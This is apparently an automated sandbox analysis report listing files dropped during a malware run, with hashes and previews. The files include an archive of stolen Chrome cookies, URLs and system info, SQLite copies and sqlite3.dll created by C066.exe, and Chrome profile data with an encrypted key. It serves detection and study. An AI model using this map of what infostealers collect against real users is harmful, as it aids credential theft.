Preview:	PK.........q]S...............browsers/cookies/Google Chrome_Default.txtUT.....\|a..\|a..\|a..Kk.1...2.ox7..........b....FJD.3.Fi0..G.iZ(iR.JH.{.{.......`.0.>..%7..))..%.rY{.....X......FJ.f8...+c..B.3.K..j.."...b%Z.k.....Vf.V!....!$.R1 ...../O.-h..G.e..VZX.....W......O...vQ....n.8.Z/@0..+.T......A^Q".{g.H..9..Km4.....\|..+.='..w.......s._.z..5)..x.:.u).O.`.eK,W.....ZU c.P..jl.RFr-.=..&lF7..F.>.w...4..h..uy].... ..h.x.q.7..R.R.c...C.R.~L...\ .p2.p.z.m...y...Oi7~(.._4-...~HE~.....PK.........q]S................browsers/chrome_urls.txtUT.....\|a..\|a..\|a..Ok. ...{!.!'....v.....a.6...Z.1.............<....g..W.>.Wa..y...`.......9....t\L.;J.&...W....}....a.<!%....g.m.\|y\.g.z.....(>.e..2....y+$@.;.88#....2.g....Z.1B..0\|{........^u.YH>&cZ.$....-..CH...p$..(.2-hEIU.I2.k.a..o..O.....>F<Y....Zc.V.....Y..A6.?'.&..?9/...\.F..}?...\|..-..\|1..PK.........q]S.......=.......System Info.txtUT.....\|a..\|a..\|auS.n.0.<.@.a.2..$...S.W.6N..A.\.Fbl"2).R^..w..nr.a...p.;...Ea....HB8x..

C:\Users\user\AppData\LocalLow\frAQBc8Wsa Download File
Process:	C:\Users\user\AppData\Local\Temp\C066.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\rQF69AzBla Download File
Process:	C:\Users\user\AppData\Local\Temp\C066.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.4334508710755112
Encrypted:	false
SSDEEP:	96:dNwf2WtfkjzS8NhV2Q0Ch32uwnnihkKLdH2Qf2:du5wEkhGhBH
MD5:	4A5E8FB665F7F9C276B38C5CFBD15D10
SHA1:	A0DF8F94A3A67B03A569A25A0658104A7915E029
SHA-256:	E095AE577F462636A5DB3107A1033540E1695071DCC03405422651D391339AA8
SHA-512:	492F3F1350E5F52CC80D62CD26EEE984E6C98444F55CDF75824263CA19EA9FF0834D74394104D655F209DFF88FB49B74BDE3C941978E88AC2A4644498AC14250
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\sqlite3.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\C066.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	916735
Entropy (8bit):	6.514932604208782
Encrypted:	false
SSDEEP:	24576:BJDwWdxW2SBNTjlY24eJoyGttl3+FZVpsq/2W:BJDvx0BY24eJoyctl3+FTX
MD5:	F964811B68F9F1487C2B41E1AEF576CE
SHA1:	B423959793F14B1416BC3B7051BED58A1034025F
SHA-256:	83BC57DCF282264F2B00C21CE0339EAC20FCB7401F7C5472C0CD0C014844E5F7
SHA-512:	565B1A7291C6FCB63205907FCD9E72FC2E11CA945AFC4468C378EDBA882E2F314C2AC21A7263880FF7D4B84C2A1678024C1AC9971AC1C1DE2BFA4248EC0F98C4
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....t\...........!.....Z...................p.....a.......................................... .......................... ......H.... .......................0...3...................................................................................text...XX.......Z..................`.P`.data........p.......`..............@.`..rdata........... ...\|..............@.`@.bss....(.............................`..edata... ......."..................@.0@.idata..H...........................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc........ ......................@.0..reloc...3...0...4..................@.0B/4...........p......................@.@B/19................................@..B/31.......... ......................@..B/45..........@......................@..B/57..........`......................@.0B/70.....i....p..........

C:\Users\user\AppData\Local\Google\Chrome\User Data\13c08b90-0c19-4b85-83da-a9c4dd83285c.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	96740
Entropy (8bit):	3.75005252311946
Encrypted:	false
SSDEEP:	384:2K34dqKZGMX8OPsvvV4+lENtrevx73CV7+Hv6GOxrcfVhxCrD/SrApm4zcb1FlSg:5346K+59CX+Oge7tD3Q3rG/KxPNTr
MD5:	795ADA0AD7DFBD414E443CC12889C188
SHA1:	C5682B9CBEB5489E2B8DA1C0BDD0264CB90880B9
SHA-256:	2FC2EECBF22C8AA6A370CBF0884B1C8627C9A2BEE6AC59FC769DE7E1FA95BB87
SHA-512:	ABE86A19820206AD6431C0758A59C578C5A859FD32AAE0751E5CBD2EFD73CE7AA9D0B6A7156FA0E15568F91C0EC8CE9DECA28B109FFF9B5E415B21D0248D8B0B
Malicious:	false
Reputation:	unknown
Preview:	.y.................C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6......M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....I8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C.:.\.P.r.o.g.r.a.m.

C:\Users\user\AppData\Local\Google\Chrome\User Data\17b6b034-6ccd-4bbe-8ead-8ffd7655270a.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	185224
Entropy (8bit):	6.0767786021951835
Encrypted:	false
SSDEEP:	3072:h8PLD8n55EtvVAkRNGWr9x39UfkT7RdOAD+FcbXafIB0u1GOJmA3iuRw:aPLD8Qtdf0S39U6TlUaqfIlUOoSiuRw
MD5:	FB20DB9CC2ECCF503196D173C40E506F
SHA1:	31D0BFFF97A8EAD257DAC75A19334A4269CC18EA
SHA-256:	41A240AD71C126200141586D587A7C211542BDD575B038DA91B7DC1AC5C37250
SHA-512:	CE04CF7A66FF3F14C76A76C530E66903DCAB52962979A66B2D280DD19072530282CA9F23B922DB6367D733A4A09583138B24A52F4E97320A55F027E9D543A6D4
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.635541827385395e+12,"network":1.635509428e+12,"ticks":217354275.0,"uncertainty":3694755.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245951016607996"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Google\Chrome\User Data\3366f6f8-0dc7-4d25-b0cb-16ae790a8a61.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SysEx File -
Category:	dropped
Size (bytes):	94708
Entropy (8bit):	3.7494983911950053
Encrypted:	false
SSDEEP:	384:lK34dqZpX8OPsvvV4+lENtrevx73CV7+Hv6GOxrcfVhxCrD/SrApm4zcb1FlSO/h:k34ZK+59CX+Oge7tD3Q3rG/KxPNBd
MD5:	F24E50A646EF83AE65C4D3C84057E0E1
SHA1:	D0BC925FF3DCA80A088D30368CE65F90469FB451
SHA-256:	93DDEBD8F5655128F26C795AC39A3E6F1BED3A9C18A3CCED0CB758F27532BDA7
SHA-512:	D07C49BFB8036241196E30EC65130BD898F1D19F2B1DF28EFE26A49A0447DBD4787BBFE57EEB3B7A7FDFE440A535E4347323B0A29B201568DDCEF38787861E90
Malicious:	false
Reputation:	unknown
Preview:	.q.................C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6......M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....I8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C.:.\.P.r.o.g.r.a.m.

C:\Users\user\AppData\Local\Google\Chrome\User Data\3867d940-4f91-4cd9-bedf-1b681a77be65.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	87023
Entropy (8bit):	6.102321908149239
Encrypted:	false
SSDEEP:	1536:SUuGRcZdJiXrXafIyYOetKdapZsyTwL3cDGOLN0nTwY/A3iuR+:SUuFcbXafIB0u1GOJmA3iuR+
MD5:	04EA3ECF47F46C9AB073A1A8CAE1617E
SHA1:	062C6F716D0EE3126EB4C687FCA4F403DF7657B9
SHA-256:	53BC3171C0A8431E431E2DF17F7001AFD829930A31766D8898A81846A2992FA3
SHA-512:	84DBBDA70C2148B1FEDB2019519D5FF3BA18F4DB3CB7F218F0B9A140B86073C17BB303658132AEB6331682A48B887005C9C78B47755D5707A243465E8C8CC7E5
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245951016607996"},"plugins":{"metadata":{"adobe-flash-player":{"displayurl":true,"group_name_matcher":"Shockwave Flash","help_url":"https://support.google.com/chrome/?p=plugin_flash","lang":"en-US","mime_type

C:\Users\user\AppData\Local\Google\Chrome\User Data\5298aac8-1da2-471d-8294-5dab686fcd20.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	176739
Entropy (8bit):	6.047238136544904
Encrypted:	false
SSDEEP:	3072:nLD8n55EtvVAkRNGWr9x39UfkT7RdOAD+FcbXafIB0u1GOJmA3iuRw:nLD8Qtdf0S39U6TlUaqfIlUOoSiuRw
MD5:	0A420CBFE79BE2CEAEAF4E46E41FE083
SHA1:	1B8E2EC3BDD26F1FC6D885F6477EE3970F4DE337
SHA-256:	92EE68E061C0E63F5C2FFAE49B08F8F043D39A755B6534C62EED4C2C36EFF2DB
SHA-512:	0E26A621E1D22EB7EE984D99629D0457199BB2A0C46A49D1C4391B5DD420C5874BD232B84A9D3A027D8FBA6B074661779053564DFE8B1CB5A7652E58E9DFD790
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.635541827385395e+12,"network":1.635509428e+12,"ticks":217354275.0,"uncertainty":3694755.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13276832799845608"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Google\Chrome\User Data\5ebd71b0-feab-4966-8817-fc85f426ba9f.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	185223
Entropy (8bit):	6.076780431502545
Encrypted:	false
SSDEEP:	3072:hgLLD8n55EtvVAkRNGWr9x39UfkT7RdOADfFcbXafIB0u1GOJmA3iuRw:mLLD8Qtdf0S39U6TltaqfIlUOoSiuRw
MD5:	C6253FD173F227E4E7F1D3EE08B8F6E0
SHA1:	E47BBBFAEE3A8AB40D874B80A6567A1F29919548
SHA-256:	75D32CFD112422BB63CB13795D6E93350D085BB509A1DD2E380B202F2A9C32E7
SHA-512:	DC5CD4C2B983686ECF7DCD5A0AB3624AA95F59868B2D2CA23DC983D50576556090AEB3733F6BCA0D50C0962B64A7659321E4BA6055ADE9EE910BDEF0E8484B72
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.635541827385395e+12,"network":1.635509428e+12,"ticks":217354275.0,"uncertainty":3694755.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245951016607996"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Google\Chrome\User Data\5ffecbc7-f9d0-4765-9d05-d84937d0bf6a.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	97460
Entropy (8bit):	3.7500740509204293
Encrypted:	false
SSDEEP:	384:sK34dqKZGMX8OPsvvV4+lENtrevx73CV7+Hv6GOxrcfVhxCrD/SrApm4Mqcb1Flm:T346K+59CXIOge7tD3Q3rG/KxPNTw
MD5:	6A8E3D13A5556A0CF18EE6B5E948051D
SHA1:	57301E22657F904D0F48AF9035004AB24AADAA66
SHA-256:	6D838678FA265E00EBDC97F464EC7201EF556914FC2D690088E0B59BC5D7FBC3
SHA-512:	AC6DBB5D4797D30B8191ED7329D46B537BA459E620468650E521D48FDE5DE62DB0DB3EC8D962E0C2C82DB19730A0BE25918BC0AB8B120DC2985C510D635A3DF6
Malicious:	false
Reputation:	unknown
Preview:	.\|.................C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6......M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....I8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C.:.\.P.r.o.g.r.a.m.

C:\Users\user\AppData\Local\Google\Chrome\User Data\8ed402ed-9f0d-4bfa-a526-42c4e63459a4.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	modified
Size (bytes):	185223
Entropy (8bit):	6.076780431502545
Encrypted:	false
SSDEEP:	3072:hgLLD8n55EtvVAkRNGWr9x39UfkT7RdOADfFcbXafIB0u1GOJmA3iuRw:mLLD8Qtdf0S39U6TltaqfIlUOoSiuRw
MD5:	C6253FD173F227E4E7F1D3EE08B8F6E0
SHA1:	E47BBBFAEE3A8AB40D874B80A6567A1F29919548
SHA-256:	75D32CFD112422BB63CB13795D6E93350D085BB509A1DD2E380B202F2A9C32E7
SHA-512:	DC5CD4C2B983686ECF7DCD5A0AB3624AA95F59868B2D2CA23DC983D50576556090AEB3733F6BCA0D50C0962B64A7659321E4BA6055ADE9EE910BDEF0E8484B72
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.635541827385395e+12,"network":1.635509428e+12,"ticks":217354275.0,"uncertainty":3694755.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245951016607996"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	3.254162526001658
Encrypted:	false
SSDEEP:	3:FkXft0xE1n:+ftIE1n
MD5:	BD4642AD6C750A12D912B20BCB92E14D
SHA1:	C549F0F48FDD4FBC62E51AC26D7E185160CE2123
SHA-256:	4FD71FE78DFE203137C89C9FB0734358FF432F2BC83338112DC7B830F9B30F2C
SHA-512:	04410D12EF327614C3AF1251C9906BFEB2977211A7F53CBB08A8C01F9465A382CD001E51AB936A0D196D359F1DECDDAEAF5E7D1DBD49CE5F4FF91BF5C332B6CF
Malicious:	false
Reputation:	unknown
Preview:	sdPC....................s}.....M..2.!..%

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\01ab4a26-c84a-4892-a73a-1a76565e8bda.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	5193
Entropy (8bit):	4.979900818343623
Encrypted:	false
SSDEEP:	96:n8pCFcqX9pcKI1Vok0JCKL8aPQkNNMkZpbOTQVuwn:n8pCFF9pcj04Kukv/
MD5:	F40CC1605A6D5FAD4929C5FEFF714C6B
SHA1:	0D4E880D4BDD0DDF03591242FF448FF9ACB60719
SHA-256:	C70C793088B14C73D04D05D4518B31C5734DF395AA4062D5D07F8E4CD1412D51
SHA-512:	DB058CD1700DAB2993DAC4A4D94E0AABE937A0D43E190C4211F4A6A21D5136AB5B1389A19D71C91EBA86915869739D1B76EF7E4E7101327E5603C1EA1142EC72
Malicious:	false
Reputation:	unknown
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13280015426034104","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245951485614034","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser_infobar_last_declined":"13245951692116406","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","7355378"],"daily_received_length":["0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\5f710deb-912f-40ef-aec8-6dfa68ef8525.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	5193
Entropy (8bit):	4.978422207122921
Encrypted:	false
SSDEEP:	96:n8pCFc5I9pcKI1fok0JCKL8aTkjumbOTQVuwn:n8pCF/9pcja4KJkjL
MD5:	EE0754416F54375288C9950DAF72542A
SHA1:	F7EC603343910D680E0A9EE4416F3DF982F79598
SHA-256:	E148266E52AE28915E86890469C01CE201183E6991823382AB0A0FE6681550BA
SHA-512:	74DE81A3F44347423BF756953DF5DD52C4809EA29B7D745541C427131C08D03BE7AB7F200064F56E02557064EE848BD3A27EDE2D7A8A55A1679F00E7374D8E20
Malicious:	false
Reputation:	unknown
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13280015426034104","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245951485614034","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser_infobar_last_declined":"13245951692116406","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","7355378"],"daily_received_length":["0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\7d92133c-777e-4084-a984-5737bc2935d0.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	16745
Entropy (8bit):	5.57736597591648
Encrypted:	false
SSDEEP:	384:/cTtwLlG7Xk1kXqKf/pUZNCgVLH2HfDPrUdDLo4K:hLlAk1kXqKf/pUZNCgVLH2HfrrUBod
MD5:	C07E3F5EA2C2CC872B66432A983028A6
SHA1:	C5F107707761B9BCACF3F055267CC3FCB303312F
SHA-256:	5578698169AD8171E228B57F50FE7280EEBFE7E4896CC935AAEAFC16B8EB017C
SHA-512:	B59897A29DAD3A1BCB192CB8489825B9532D553C5820256AAA25EFE9B53CF5FFA5423AA0098EFE22C5CEB308A874CE858FAE08CFAB9213A24FB9B52D95C713C2
Malicious:	false
Reputation:	unknown
